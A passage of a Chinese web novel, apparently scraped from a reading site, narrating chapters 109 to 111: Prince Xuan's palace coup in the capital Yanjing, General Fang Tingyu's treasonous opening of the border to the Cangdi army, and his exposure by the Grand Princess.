天边一群灰色的鸽子划过大宸阳光明媚的天空。 三日后,它们抵达雁京。 祁晖珉紧握着手中的纸条。 他已经不能回头了,望着下首全副武装的私兵,沉声道:“行动!” 私兵们一言不发,转身离开宣王府,向皇城冲去。 109.废物 承武十八年十一月初二。 皇城门口的羽林军守卫们望着阴沉沉的天空,厚重的乌云仿佛随时都会倾下一场铺天盖地的大雪。 冷冽的寒风不时从身边刮过,守卫们身姿挺拔地站立着,警惕地注视着四周。 忽然,一名守卫眼尖地看到前方异动,立刻高声喝道:“什么人!皇城门前不得放肆,速速停下!” 只见一队兵士身穿铠甲,手持兵器直冲皇城而来。 他们对羽林军的呵斥声充耳不闻,守卫们迅速抽出自己的武器,准备迎敌。 队正取下腰间的号角,正欲吹响,却感到胸口一凉,低头看去,一柄长剑从他的背后穿胸而过。 他僵硬地转头,长剑的剑柄握在一名方才还跟他们有说有笑的兄弟手中。此时那人满脸冷漠,仿佛完全变了一个人。 队正满心疑惑,他很想问为什么,为什么曾经的兄弟会背叛他们。 然而对方不给他这个机会,毫不犹豫地将长剑从他体内抽出,再次挥剑攻向其他弟兄。 “队正!”旁边的守卫们惊呼出声,他们立即回过神来,愤怒反击。 尽管他们很快就将刺杀队正的叛贼击杀,可经过这么一耽搁,那些叛军已经冲到皇城门前。 守卫们回身抵挡,然而对方的人实在太多,他们区区数十人不是叛军的对手。 一名守卫趁乱捡起队正手边的号角。 叛军中有人注意到他的动作,一支箭矢如闪电般向他急射而来,直接扎穿了他的脖颈,但依旧晚了一步,嘹亮的号角声传向远处。 “敌袭!” 城内各处守卫听到号角声,敌袭的警报钟声瞬间响彻雁京。 然而也有部分的警报钟没有发出任何声响。 在那些未被敲响的大钟旁,无一例外都躺着数名被朝夕相处的队友背叛而死不瞑目的兵士们。 雁京城外,京锐营统领刘浚听到钟声脸色剧变,他狠狠地骂了一声:“哪个兔崽子嫌日子过得太好了!” 他抄起武器,吼道:“快!马上进城。” 等刘浚带着京锐营赶到雁京城门前时,往日这个时辰大开的城门此刻却大门紧闭,将他们拒之门外。 城楼上箭矢如雨般倾泻而下,京锐营的将士们猝不及防,被射杀数十人。刘浚眼睁睁地看着自己的部下倒下,心中愤怒却又无可奈何,只得下令退至箭矢射程外的位置。 他咬牙切齿地看着守在城楼上的中年男子,怒喝:“金展!你想造反不成?!” 城楼上的中年男子金展正是京翼卫副统领,而负责守卫雁京安危的京翼卫此刻居然关上了雁京城的大门,对着想要进城支援的京锐营刀剑相向。 “刘统领,识时务者为俊杰,陛下时日无多,太子年幼难成大业,不如与我一同为宣王效力。”金展居高临下,语气傲慢,试图策反刘浚。 “呸!”刘浚毫不买账,“陛下千秋鼎盛,太子聪慧仁德,祁晖珉算是个什么玩意!” “大胆!竟敢直呼宣王名讳,刘浚,你别敬酒不吃吃罚酒!”金展大声斥责道。 刘浚轻嗤一声,不再理会金展的叫嚣,他直接下令攻城。可雁京城的大门厚重无比,关上机括后便很难从外部强行打开。头顶的箭矢再次落下,刘浚只得再次下令撤退,下令让人将攻城槌搬来。 雁京城内的厮杀声透过厚重的城门隐隐传来,正当刘浚焦急万分时,一名百夫长过来请示:“统领,城楼上有属下的兄弟,可以让属下试试吗?” 刘浚仰头看着城楼上手挽弓箭的大宸兵士们,沉思片刻后点头应道:“可。” 百夫长拱手行礼,走到城楼下即将进入弓箭手射程的位置。 他仰头对着城楼上声嘶力竭地喊道:“王哥!还记得我们进军营的时候发过的誓吗?我们身为大宸将士,立誓保家卫国。我们参军为的是守护大宸和大宸的百姓,而不是为了他们的一己私利,成为他们争权夺利的工具!” 城楼上的人没有动作。 百夫长和刘浚也没指望这么轻飘飘的一句话就能说动他们。 百夫长没有泄气,他继续喊道:“王哥!你听听城里百姓们的惨叫声!那是我们誓要守护的家人朋友!你再看看我前面兄弟们的尸首,我们都是同袍兄弟啊!我们本应并肩作战,共同抵御外敌,而不是在这里自相残杀!” 城楼上的兵士们听着百夫长的呼喊,侧首看着血流成河的雁京城。 早上还笑着目送他们走上城楼的阿伯阿婶们,此刻却倒在血泊中。有兵士的怀中,还放着卖炊饼的阿伯硬塞给他们的肉炊饼。 炊饼阿伯此刻倒在了炊饼摊前,饼摊已被推倒,雪白的炊饼沾着血水散落一地。 “不该是这样的……”京翼卫的兵士喃喃低语,他的声音中满是痛苦。 他们为了保护这些百姓,日日夜夜在雁京的大街小巷巡逻。百姓们也把他们当自己家孩子,不管何时从那些阿伯阿婶的摊前经过,都会收到阿伯阿婶特地给他们留的吃食。 他们的屠刀不该挥向待他们如亲人的雁京百姓们,更不该与自家兄弟自相残杀! 眼见自己的手下开始动摇,金展怒目圆睁,破口大骂道:“一群平民,死就死了!建功立业哪能没有伤亡?待宣王登大宝,又是一个太平盛世!” 真的能有太平盛世吗? 京翼卫的兵士们迷茫地垂眸看着城内百姓的尸首,那些曾经熟悉的面孔,如今永远地失去了生命。 他们忍不住怀疑,自己所做的一切真的是对的吗? 有人缓缓放下了手中的弓箭。 刘浚一见有戏,连忙下令:“快!还有哪些人认识他们?都去劝劝!” 京锐营的兵士们得令,马上靠近城门,对着城楼上的兄弟们高声劝说。 眼见动摇的兵士们越来越多,金展怒火更甚,他的脸色变得铁青。突然,他抽出自己的佩剑,手起剑落,斩下了离他最近的一名兵士的头颅。 顿时,城墙上下一片死寂。 所有人都被这突如其来的一幕惊得不知作何反应,他们呆呆地看着那名兵士的头颅滚落,鲜血染红了地面。 金展举着那名兵士的头颅,狞笑道:“举起你们手中的弓箭,谁敢违抗,就和他一样的下场。” 周围被那名兵士身死时溅了满身血的兵士们缓缓举起手中的武器,但他们手中的武器不再对着雁京的百姓和自己的弟兄,而是对准了面目狰狞的金展。 金展狰狞的笑容瞬间僵在脸上,他不可置信地吼道:“干什么?你们想造反吗?!” “造反的人是你!”一名十六七岁的少年郎大声吼道。 “放肆!”金展再次举起手中的佩剑,怒不可遏地向那名少年挥去。 但这次他只上前走了一步,一杆长枪扎进了他的胸口。 出手的是他的亲兵。 金展惊愕地看着那名亲兵,“你……” 那名亲兵憎恶地看着他,咬牙切齿道:“老子进军营,效忠的是大宸!是陛下的大宸!不是那劳什子宣王,什么狗玩意都敢肖想那个位置?” 说完,他枪头在金展体内一转,确定金展死透了,才抽出长枪,大声喊道:“开城门,速去皇城卫主平乱!” 沉重的大门终于被打开。刘浚来不及松一口气,立即策马带着京锐营冲进雁京城,向皇城方向奔去。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>清晨最先冲进皇城的叛军直奔那象征着至高权力的金銮殿。 金銮殿大门紧闭,外面的厮杀声却不绝于耳,喊杀声与兵器的碰撞声交织在一起,令人胆战心惊。 龙椅边躺着两名手拿匕首的太监,他们的胸口已经被自己的鲜血染透,触目惊心的红色在金色的大殿中格外扎眼。 唯一被允许携带武器进入金銮殿的宁渊,紧紧握住手中的佩剑,坚定地挡在承武帝的侧前方。 佩剑上的鲜血顺着剑身一滴一滴往下滴落,无人顾及那鲜血是否会污损威严的金銮殿。 号角声响起时,正是早朝时间,大宸的文武大臣齐聚于此。 承武帝坐在龙椅上,目光沉沉地看着殿内神态各异的朝臣们。 “真没想到,十八年了,朕还能再经历一次宫变。”承武帝轻声笑道,他的声音虽小,但在鸦雀无声的金銮殿内清晰可闻,“十八年前朕的弟弟觊觎朕的位置,现在轮到了朕的儿子。” 他扫视着殿内的几个成年儿子,眼中掠过一抹复杂之色。随后拍了拍站在他另一侧的太子,温和道:“别紧张,相信我们大宸的将士们。” 祁晖珏微微点头,他的神情虽紧张,但并不害怕。 为了彰显帝王威仪,龙椅向来都不舒适。承武帝微微挪了挪身体,示意苏德茂拿几个软垫来。苏德茂忙命人取来软垫,小心地放在承武帝身后。 等承武帝半躺在龙椅上,那些经历过承武帝初登大宝时宫变的老臣们也淡定地原地坐下。他们脸上没有丝毫惊慌,仿佛对眼前的局势早已心中有数。 看着金銮殿内并没有出现预想中惊慌失措的场景,祁晖珉紧抿着唇,脸上不由自主地扭曲了一瞬。但很快又强行恢复了正常,努力维持着表面的镇定。 他身侧的二皇子瞥见了他这一瞬间的表情变化,心中一凛,迅速将惶惶不安的三皇子拉至一旁。 三皇子满脸茫然,不明白二哥为何匆忙拖拽他,但看到二哥严肃的神色,也不敢多问,只是紧张地看着周围。 沉浸在自己思绪中的祁晖珉完全没有察觉到身边的动静,他自以为隐蔽地打了个手势,向暗藏在殿内的拥趸下达命令。 “废物。”龙椅上半闭着眼睛小憩的承武帝嗤笑一声,声音细不可闻。 他微微抬眸,视线对上隐藏在房梁中的暗翎。 暗翎点了点头。 承武帝的神色更加轻松。 秦柏已经接到瑶儿,正在回来的路上。只要再撑两日,这些宵小之辈便不足为惧。 距离雁京两百里外的徐凉县,试图截杀宁玉瑶的叛贼在此处格外多,他们如同饿狼一般,悍不畏死地朝着宁玉瑶扑来。 围在宁玉瑶身边的长公主府侍卫们虽然个个英勇无畏,但面对源源不断的叛贼,两名侍卫很快被击杀,包围圈被撕开了一个口子,刺客们见状,立即向缺口涌来。 秦熠紧紧护住怀中的宁玉瑶,他右手长枪一扫,将靠近的叛贼击退。 旁边的侍卫迅速补上缺口,重新将宁玉瑶和秦熠团团围住。 好在对方的人手不算太多,远处的定北军和涑州军清理掉拖延他们的叛贼,迅速过来支援他们。 待所有叛贼被清理干净,秦柏快步走过来,“郡主可安好?” “将军放心,我无事。”宁玉瑶轻轻拍掉斗篷上沾染的血珠,神色平静,并无异样。 “那便好。”秦柏望着雁京方向,凝重道,“接下来我们要全速赶回雁京,郡主若是撑不住,请及时告诉臣等。” 宁玉瑶颔首,“将军放心。” 秦柏示意秦熠看护好郡主,待兵士们稍稍喘口气,便不再耽搁,立即下令启程。 110.平叛 秧州边关鹭南关。 “旅帅!苍荻怎么突然来了这么多人。”忠勇军守关哨兵手中紧握千里眼,远方乌压压一片,全是苍狄大军。 旅帅心中暗道不妙,连忙下令:“快,点燃烽火!封锁城关!” 示警的烽火直冲云霄,守关将士们用力推动城关大门,沉重的大门缓缓关闭。 就在这时,一个身穿忠勇军服饰的兵士出现在城关外。他伤痕累累,浑身被鲜血染红,趴在马背上,气息微弱。那匹战马亦受伤严重,身上布满伤口,鲜血不断往下流淌。 “那不是今天出去巡逻的小武吗?”有人认出了来人,急忙喊道,“先别关门,等他进来。” 那匹战马艰难前行,刚刚踏进城关,便哀鸣一声,重重倒地。它背上的小武也被摔到地上,战马沉重的身体压在他身上,使得他的伤口崩裂,鲜血如泉涌般流出。 一旁的兵士们赶紧冲上前去,将他从马身下拖出来,焦急问道:“小武,发生什么事了?你怎么伤得这么严重,其他人呢?” “咳咳……”小武艰难地咳出一口血水,悲怆道,“南襄军……今天跟我们一起出去巡逻的那几个南襄军的杂种,他们勾结苍荻人伏击我们!我们拼死才杀了那几个叛贼,但苍荻人实在太多了,其他人都被苍荻人给……” “南襄军!”围在小武身边的兵士们愤怒至极。 “难怪他们数年难得出一次襄州,非要这个时候跑来剿匪!”旅帅咬紧后槽牙,恨声吩咐道,“快去禀报将军。” 传令兵得令,迅速向忠勇军大营跑去。 “你们带他去找军医。”旅帅让身边的兵士将小武扶到一边,看着离鹭南关越来越近的苍荻大军,“快,别耽搁,继续关门。” 城关乃是一国边境最为重要的存在。城关的大门往往是用最坚硬的木材打造而成,再在门上钉上对外的铁锥,导致大门极为沉重,往往要十余人一同推门才能关上。但一旦关上,便极难从外面撞开。 守关的将士们不敢耽搁,连忙一同上前关门。沉重的大门在他们的努力下缓缓移动,很快便能完全合拢。 一直虚弱不堪、需要被人扶着的小武,却突然站直了身体。他与周围没有前去关门的几名兵士对视一眼,同时举起手中的长枪,冲向正在关门的将士们。 “你们……”被小武割破喉咙的旅帅捂着脖子上的伤口,惊愕地看着这些正在疯狂砍杀自家兄弟的人。他嘴唇颤抖,却再也说不出话来。 小武此时已半点看不出之前的虚弱模样,他趁着忠勇军的兵士们没有回过神来,再次收割了几条人命。 旅帅重重地倒在地上,看着小武对兄弟们毫不留情的模样,后知后觉才反应过来,原来,真正的叛贼是小武…… 他透过还未来得及合拢的城关门缝,看到苍荻的铁骑离他们越来越近。不过一瞬,城关被苍荻大军推开。 苍荻铁骑的战马踏过守关将士们死不瞑目的尸体。 ——他们至死都带着恨意紧盯着小武。 鹭南关,失守。 “呜——” 烽火燃起的第一时间,忠勇军大营的哨兵们吹响手中的号角。 忠勇军兵士们迅速集结。 正在临时驻扎的主帅帐中与各营旅帅们商议方廷峪之事的李皓,也听到了号角声。他的心猛地一沉,连忙走出营帐,抬头向外望去。 “爹,鹭南关烽火!”原本在忠勇军演武场与忠勇兵切磋的李晏修匆匆跑回来。 众将领脸色一变,鹭南关燃起烽火,只有可能是苍荻来袭。方廷峪之事本就疑点重重,苍荻却偏偏在这个节骨眼上突然出兵,怎么看都让人觉得蹊跷。 “其他事稍后再谈,我们先去支援忠勇军。”李皓迅速下令,不管方廷峪想要做什么,鹭南关绝对不能有事。 然而,待南襄军的近万兵士集结完毕,走出驻地正要前往鹭南关支援时,他们的营地却已被方廷峪带兵包围。 身穿铠甲的李皓双腿一夹马腹,骑着马缓缓走上前,他看着同样坐在马背上被亲兵团团护住的方廷峪,沉声道:“方将军,大敌当前,不去鹭南关支援,反而在这里堵住我们,所谓何事?” “李皓,都这个时候了,就别再假惺惺了。”方廷峪冷哼。 李皓这下是真的疑惑,“方将军此话何意?” “装什么装!”忠勇军的一名副将用马鞭指着李皓大声吼道,“我们不拦着你们,难道让你们过去给苍荻人开门吗!” 另一名副将也质问道:“今天你们的人跟着忠勇军出边关巡逻,联合苍荻兵击杀了我们的巡逻兵,你敢说你们不知情?” “放你娘的狗屁!”李皓身边的副官暴怒,他用力一扯缰绳,“谁知道那些是不是你们忠勇军通敌卖国自己弄出来的!” “少在这里血口喷人!我们忠勇军驻守秧州百余年,始终兢兢业业,保一方安宁,十多年来都平安无事。可你们南襄军一来,苍荻就胆敢侵犯边境,甚至还将我们的巡逻队全灭,你们其心可诛!” 李皓闻言眯起眼睛,心中思绪急转。他目光犀利地看着方廷峪,瞬间明白了方老贼弄这么一出的目的,想必是方廷峪这狗贼想要将苍荻军放进来,就将此事栽赃到他头上,率兵来围剿南襄军。 如此一来,既耽搁了支援鹭南关的时间,又能让忠勇军听令剿灭南襄军。 好歹毒的一石二鸟之计! 既然知道了方廷峪的目的,李皓心中暗暗咒骂,脸上却依旧保持着冷静,他明白,恐怕此时鹭南关的铁门已经阻挡不住苍荻大军。 眼下局势危急,此时绝不能自乱阵脚,他叹了口气,提醒道:“诸位,如今苍荻兵临城下,形势危急。不如我们先去驱逐苍荻,通敌叛国之事,等战后再说。此时若再内斗,只会让苍荻人渔翁得利,对我们双方都没有好处。” “李将军,”方廷峪沉声道,目光如炬盯着李皓,“鹭南关自有我们忠勇军的将士们坚守,无需你李将军费心。今日有我方廷峪在此坐镇,绝不会让你南襄军去鹭南关与苍荻勾结。” 说完,他不再给李皓解释的机会,果断下令:“南襄军通敌叛国,实乃罪不可赦。如今我们腹背受敌,局势危急,速将南襄军尽数歼灭,以绝后患。” 一声令下,对苍荻人恨之入骨的忠勇军毫不犹豫地冲向南襄军。 南襄兵看着前几日还与他们有说有笑的忠勇军兵士,如今脸上却是毫不掩饰的厌恶。 他们手足无措地举起手中的武器抵挡,大声喊着:“兄弟们,我们真的没有勾结苍荻!我们是被冤枉的啊!” 但在忠勇兵心中,相比只相处了几日的南襄军,显然更加相信率领他们十余年,一同出生入死的方廷峪。 他们毫不犹豫地听从方廷峪的命令,挥舞着手中的兵器,毫不留情地砍杀了一个又一个的南襄兵。 南襄兵眼睁睁地看着自己身边的兄弟一个接着一个地倒下,终于,他们再也无法忍受,大喊了一声,声音中满是悲痛。他们颤抖着拿出武器反击,若再不反击,下一个倒下的就是自己。 “方廷峪!你通敌卖国还栽赃嫁祸给南襄!你不得好死!”一名南襄兵怒吼。 但下一瞬就被身边爱戴着方廷峪的数名忠勇兵乱刀砍死。他的身体缓缓倒下,眼中犹带着不甘。 李皓痛苦地看着两军兵士厮杀,只因为方廷峪那个狗贼,如今竟折损了这么多大宸的好儿郎。他们本应一同抵御外敌,守护国家,却在此处自相残杀! 他恨恨地看着人群中的方廷峪,大喝一声,“方老贼!受死!” “终于不装了?”方廷峪冷笑一声,但他并未出去迎击李皓,反而退后几步,让副官们上前抵挡。 李皓一路冲锋过去,手中的长枪挥舞得密不透风。他的身姿矫健,所到之处,忠勇军的兵士纷纷倒下。 可方廷峪身边的人实在太多了,他尚未靠近方廷峪,身上便多了数道伤口,鲜血汩汩流出,染红了他的铠甲。他身边的副官和旅帅也接连倒下。 眼见李皓渐渐力竭,方廷峪这才驱马终于从人群中走了出来。他眼中透出一丝得意,手握自己惯用的大刀,向李皓砍去,刀势凌厉,带着呼呼的风声。 李皓连忙举刀抵挡,两把刀碰撞在一起,发出清脆的声响,火花四溅。 尽管已经力竭,但李皓的能力远在方廷峪之上,依旧能与方廷峪打得有来有回。李皓枪法凌厉,方廷峪也不甘示弱,大刀挥舞得虎虎生风。 见方廷峪落入下风,忠勇军的副将们急忙过来支援。 而南襄军的人越来越少,能支援李皓的人被忠勇军死死缠住,无法脱身。只剩下李晏修紧紧跟在父亲身后,为他抵挡后面飞来的暗箭。 很快,李皓在数人围攻下被挑飞了手中长枪。方廷峪抓住机会,举起大刀向李皓砍去。李皓侧身一避,躲过了致命之伤,但他的左臂却被生生削去。 “爹!”李晏修着急大喊,但攻击他的人太多,即便奋力抵挡也渐渐力有不逮,离李皓越来越远。 失去手臂的疼痛让李皓站立不稳,他的脸色苍白,额头上布满了汗珠,他强撑着没有倒下。 没有武器和手臂的李皓已经不足为惧,方廷峪再次举起刀砍向李皓,那刀在阳光下闪烁着寒光。 忽然,箭矢划破空气的声音由远及近而来。那箭矢的速度之快,竟无人能抵挡,狠狠扎进了方廷峪的肩膀。 方廷峪吃痛,手中的刀掉落下来。 “方将军!”亲兵们迅速围住方廷峪,他们转头向箭矢来的方向望去,有人同样举起弓箭,手指紧扣弓弦,随时准备将胆敢伤害方将军的贼人射杀。 却见一位红衣女子骑在雄健的骏马之上,女子的裘皮斗篷鲜艳如火,长发随风飞舞,与红色的衣袂一同飘扬。女子双腿夹紧马腹,身姿挺拔,手中举着弓箭直指方廷峪。 见李皓暂时生命无忧,女子勒住缰绳,骏马长嘶一声,稳稳停下。她放下手中长弓,掏出怀中的虎符,高高举起,大声喝道:“虎符在此!方廷峪通敌叛国,还不速速将他拿下!” 听到虎符,在场已经杀红眼的两军兵士停下手。他们疑惑地看着那名红衣女子,和跟在红衣女子身后举着掖州军大旗的大军。 忠勇军呆愣地站在那里,觉得肯定是方才太吵了,他们听错了。方将军怎么会通敌叛国呢? 李皓挣扎着跪在地上,“臣李皓参见长公主殿下!” 忠勇军中几位副将也一同跪下行礼。 众人恍悟,原来这位就是大宸唯一的长公主殿下,嘉阳长公主。他们连忙跪地高呼:“见过长公主殿下。” 在大宸,无人不知陛下对这位胞姐的信重,她手中的虎符必然不会有假,况且殿下此时身后还跟着数万掖州军。 祁婧惠跳下马,她看着李皓空荡荡的左臂,心中一紧,连忙唤来李晏修扶起他,“李将军辛苦了,你先去处理伤口,这边有我。” “殿下在此,李某便安心了。”李皓告罪退下。 李晏修小心地扶着李皓往主帐走,这次忠勇兵们默默地让开一条路,没有人再阻拦他们。 等他们离开,跪在地上的忠勇兵纷纷抬起头,茫然地看着祁婧惠。 如果方将军才是通敌叛国的那个人,那他们之前在做什么?他们与南襄军拼杀,以为自己是为了保卫大宸和百姓。可如今,这一切都成了一个笑话。 万众瞩目的祁婧惠并没有让他们起来,她走到肩膀中箭强撑着跪在地上的方廷峪身前。 方廷峪满脸屈辱地仰头看着祁婧惠,“长公主殿下,不知臣哪里得罪了您,您要如此泄愤,但不可冤枉臣,臣对大宸忠心……” 不等他说完,祁婧惠一脚将他踹翻在地,“方廷峪,别把本宫当傻子。” 一旁的忠勇军副将虽不敢扶他,只敢压下心中不忿问祁婧惠:“殿下,这其中可有什么误会?” “误会?”祁婧惠冷眼看着他。 那名副将被祁婧惠的威严震得呼吸一滞,但仍鼓起勇气说道:“方将军率领忠勇军镇守边疆长达二十余年,且已有十余年苍荻未曾侵犯我国边疆。方将军与苍荻有着深仇大恨,又怎么可能会与苍荻勾结?殿下,这里面必定有什么误会。” 祁婧惠抬起手,止住他的话。她扫了一眼跪在地上的忠勇军兵将们,他们或怀疑或迷茫地望着她。 她低头看着被她踢得肩膀血流不止的方廷峪, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “方廷峪,你的军功究竟是如何得来的,需要本宫提醒你吗?这么多年,但凡有不听从你命令的人,你便会安排他们去关外巡逻,再将他们的消息透露给苍荻,待苍荻将他们伏击,你再亲自带兵前往苍荻的村庄,杀上几个村人伪装成苍荻士兵。难道你忘了吗?” “欲加之罪,何患无辞。”方廷峪哼笑。 祁婧惠再次狠狠地踹了他的伤口一脚,方廷峪疼得脸色煞白,瞬间闭上了嘴。随后,她凌厉的目光扫过在场每一个人,质问道:“这么多年,你们当真就从未怀疑过吗?” 有兵士垂下头,真的没怀疑过吗?怎么可能。 每次有人顶撞了方将军,过不了几日,这些人在关外便会遭到苍荻的伏兵,一去不返。怎会如此巧合? 然而每次方将军都会亲自带人去为将士们报仇,他们便以为那些人是命不好罢了。直到如今他们才明白,原来他们并非命不好,而是被自己最信任的将军出卖了。 方廷峪捂着伤口,痛苦地呻吟道:“殿下,没有证据您就是血口喷人!臣为大宸鞠躬尽瘁,抛头颅洒热血,这么多年镇守边疆,没有功劳也有苦劳。您这般随意诬陷有功之臣,不怕寒了大宸将士们的心吗!” “你与大宸国师的通信已经呈至陛下。”祁婧惠居高临下地看着方廷峪,淡淡地开口。 仅仅是这么一句话,就让方廷峪脸色灰白。他闭上眼睛颓丧倒地,不再挣扎。 明安郡主居然真的从云雪山脉逃出来了…… 看到方廷峪这幅神情,忠勇军还有什么不明白的。 之前为了帮他,鼓起勇气与祁婧惠辩驳的副将深受打击,他摘下自己的头盔,用力往方廷峪身上狠狠砸去,“方廷峪!你为什么要做这种事!你对得起我们这些跟随你多年的将士吗?” 方廷峪被砸得身体晃了一下,他依旧不睁眼,只是哂笑道:“还有什么好说的,成王败寇罢了。” “你……”副将气得说不出话来,他死死握着拳头,恨不得再给方廷峪一拳。 营中的怒火仿佛一触即发,正当此时,涑州军斥候快马闯入大营。 “殿下!鹭南关失守!苍荻打进来了!” “哈哈哈……好!我还没有输!”方廷峪听到斥候禀报的消息,睁开眼睛放声大笑。 这句话打碎了他在忠勇军将士们最后的一丝幻想,忠勇兵们看着被他们斩杀的南襄兵,一瞬间不知道该恨方廷峪,还是恨自己。 “方廷峪,你以为本宫就带了这么点人吗?本宫来这里之前特地绕路去各州调集了十万兵马。”祁婧惠满意地看到方廷峪笑容消失,她挥手示意将方廷峪和他的亲兵全部带走关押,随后转身跃上自己的马背。 她看着懊悔不已的忠勇军将士们,大声喝道:“想要赎罪吗?那就站起来将苍荻人全部赶出去!” 说完,她驱马率领掖州军往鹭南关方向疾驰而去。 赶来秧州时,祁婧惠路过掖州、林州等地,特意从各州军抽调数万人,本是以防万一,没想到真会派上用场。 林州军步兵行进速度慢,再过几个时辰便能抵达。有她在,她定会守好秧州,把苍荻赶出大宸。 被留在原地的忠勇军站起身,之前的副将捡起砸过方廷峪的头盔戴好,他声嘶力竭喊道:“我们去杀苍荻人,要多杀几个才对得起被我们误杀的兄弟们!” “走!杀苍荻人。”忠勇兵拿起武器站起身,擦去脸上的血泪,带着满腔怒火奔赴鹭南关。 祁婧惠带兵奋力抗击苍荻大军之时,宁玉瑶提前一日抵达雁京。 雁京城内一片死寂,街道上没有一个行人,只有满地的尸体横七竖八地躺着,地面上满是干涸的红褐色血迹,这一幕与宁玉瑶前世所见惨烈的雁京惊人地重叠。 她坐在秦熠身前的马背上,紧紧抓住秦熠的手臂,惊慌失措地低语道:“为什么还是会变成这样……” “别怕……”秦熠轻声安抚着她,“等剿灭叛贼,就会好起来的。” 另一侧的秦柏同样愤怒地看着昔日繁华的雁京城,如今却变得如此破败。只是他看到的比宁玉瑶更多,他担忧道:“街上没有叛军,恐怕他们已经将全部兵力集中在皇城。我们必须速去支援,否则后果不堪设想。” 秦柏看了一眼宁玉瑶,心中有些犹豫。他想将她送回长公主府,宁玉瑶直接道:“秦将军,我与你们一同进宫,我很担心娘娘。” 秦柏见她如此坚决,便没有再耽搁,与崔沭一同带领着两支大军向皇城全速前进。 果然,还未走到皇城,便能听到震天的喊杀声。京翼卫正在皇城前艰难抵挡不知从何处源源不断冒出来的叛贼。 宁玉瑶一眼就在人群中看到了兄长宁璟瑞,此时,他被数名叛军包围。不用她说话,秦熠立即挽起手中的长弓,对准围攻宁世子的叛贼。 箭尚未射出,叛军手中的大刀已朝着宁璟瑞的头颅狠狠砍去。就在这千钧一发之际,一支长枪从旁刺来,成功抵挡致命一刀。如此一耽搁,秦熠趁机射出的箭矢也及时将那几名叛军击杀。 宁璟瑞身边的攻势减轻,他松了一口气,对最开始帮他挡刀的年轻武将道谢,然后看向箭矢来的方向。 身边其他京翼卫的将士们也注意到了秦柏一行人,顿时士气大涨:“秦将军回来了!援军到了!” 他们原本早已疲惫不堪,快坚持不住的身体,此刻仿佛又突然充满了力量,与赶来支援的定北军一同奋勇斩杀叛军。 比他们更高兴的是宁璟瑞,他看见了和秦熠共乘一骑的妹妹。 秦熠带着宁玉瑶快马跑至宁璟瑞跟前,宁玉瑶大喊:“哥哥!” “回来就好。”宁璟瑞伸手轻拍宁玉瑶的头发,此时不是叙旧的时候,他对紧随其后赶来的秦柏道:“秦将军,金銮殿被围。” 秦柏点头:“我们马上过去。” 宁玉瑶也跟着说:“哥哥,我去后宫陪娘娘,你要小心。” 宁璟瑞点头,靠在墙上看着定北军和涑州军涌进皇城。 自秦柏一行人露面后,原本杀之不尽的叛军也不敢再往这边冲。 他对身旁方才替他挡下致命一刀的方敏策笑道:“终于可以松口气了。” 111.阿姐 金銮殿外的厮杀声愈发激烈,承武帝却仿若未闻,依旧闭着眼睛斜倚在龙椅上。他的呼吸平稳均匀,好似真的睡着了般。 一旁的苏德茂连忙从偏厅中拿来绒毯,小心地盖在承武帝身上。 坐在地上休息的老臣们也依样闭上眼睛,仿佛外面的厮杀声只是一支轻柔的催眠曲。有几位上了年纪的老大人,毫不顾忌地躺在沾上了血迹的地上,全然看不出平日他们连椅子略有脏污都不愿落座的讲究模样。 太子忙吩咐内侍多拿几床绒毯给老大人们盖上,这些都是大宸的肱骨之臣,万万不能着凉。 见陛下和老臣们都这般放松,那些未曾经历过十八年前宫变的年轻大臣们,心中的紧张也逐渐消散。他们已经被围困在金銮殿内两天一夜,又困又饿,疲惫至极。此时,食物是吃不上了,便只能席地而睡。 大殿内顿时鼾声如雷。 不过片刻,外面响起一阵明显的急促脚步声,似乎又有许多人冲了过来,围在了金銮殿外,一时间喊杀声震天动地。 承武帝似乎被外面的声音惊醒,睁开眼就看见下方面露喜色的祁晖珉。他微微抬眼,隐在暗处的暗翎对他比了个手势,承武帝嘴角露出一丝冷笑,废物就是废物。 老臣们听到动静,也掀开眼皮看了一眼金銮殿的殿门。只见殿门依旧好好的,没有丝毫被撞击的迹象。他们摇了摇头,翻了个身继续睡去。 这时,一声冷笑声突兀地响起,“诸位大人,如此境况你们都能睡着,真是好心性。” 终于来了。 闭着眼睛不知道是真睡还是假睡的大臣们,听到这声音齐齐松了口气。 到底还是年轻,沉不住气。不过这样也好,早点结束,他们便能早点回家。金銮殿的金玉地板到底还是硬了点,睡着哪有家里的软塌舒服。 祁晖珉见殿内的大臣们似乎并不惊讶他才是幕后主使,咬牙切齿地说道:“诸位大人似乎并不意外。” “废话,太子又不急着登基,二皇子只知道吃,让三皇子看书溜得得比谁都快,五皇子才七岁,就您把野心写脸上了,不是您是谁。”一名六品小侍读在靠近殿门的地方小声嘀咕着。 他自以为声音很小,然而在这寂静的大殿中,清晰地传入了每个人的耳中。一抬头,见殿内所有人都看着他。小侍读顿时惊慌失措,赶紧坐起身,手脚并用地爬到柱子后,试图挡住众人的视线。 “老三,以后每日去文渊阁抄两章文章送过来。”承武帝并未睁眼,轻声下令。 三皇子一听,只感觉天都要塌了。他好不容易成年离宫建府,不用再去南书房看书,刚逍遥了不过几个月,这下却被罚每日抄书。 他越想越气,撸起袖子就要去揍那个多话的小侍读,二皇子连忙拉住他,“别冲动。” 三皇子指着挡住小侍读的柱子怒吼道:“二哥!他还说你只知道吃。” “他也没说错,你二哥身体弱,多吃些也无碍。”承武帝再次开口。 既然父皇和二哥都不计较小侍读妄议皇家之事,三皇子也只好按下心中愤懑,走到一旁不再吭声。 “啪啪啪” 祁晖珉轻拍手掌,脸上满是嘲讽之色,“好一幅父慈子孝的场景,三弟你也别担心,你不爱看书,今日之后你再也没人逼你了。” 听到祁晖珉叫他,三皇子那向来不太灵光的脑子这才想起还有宫变这档子事。 他抬起头,用看傻子的眼神看着祁晖珉,“你在说什么鬼话?就你这脑子斗得过父皇这老狐狸……唔……” 二皇子连忙捂住他的嘴,但还是晚了一步。 “祁晖瑛!”承武帝的声音暗含警告。 三皇子听到父皇的声音,抬起头,对承武帝讨好地笑道:“父皇,儿子是夸您英明神武呢。” 承武帝没理会历来说话不过脑子的三儿子,他睁开眼,坐直身体,看向下面昂首站立的祁晖珉:“朕竟不知你从何时起了这种心思。” 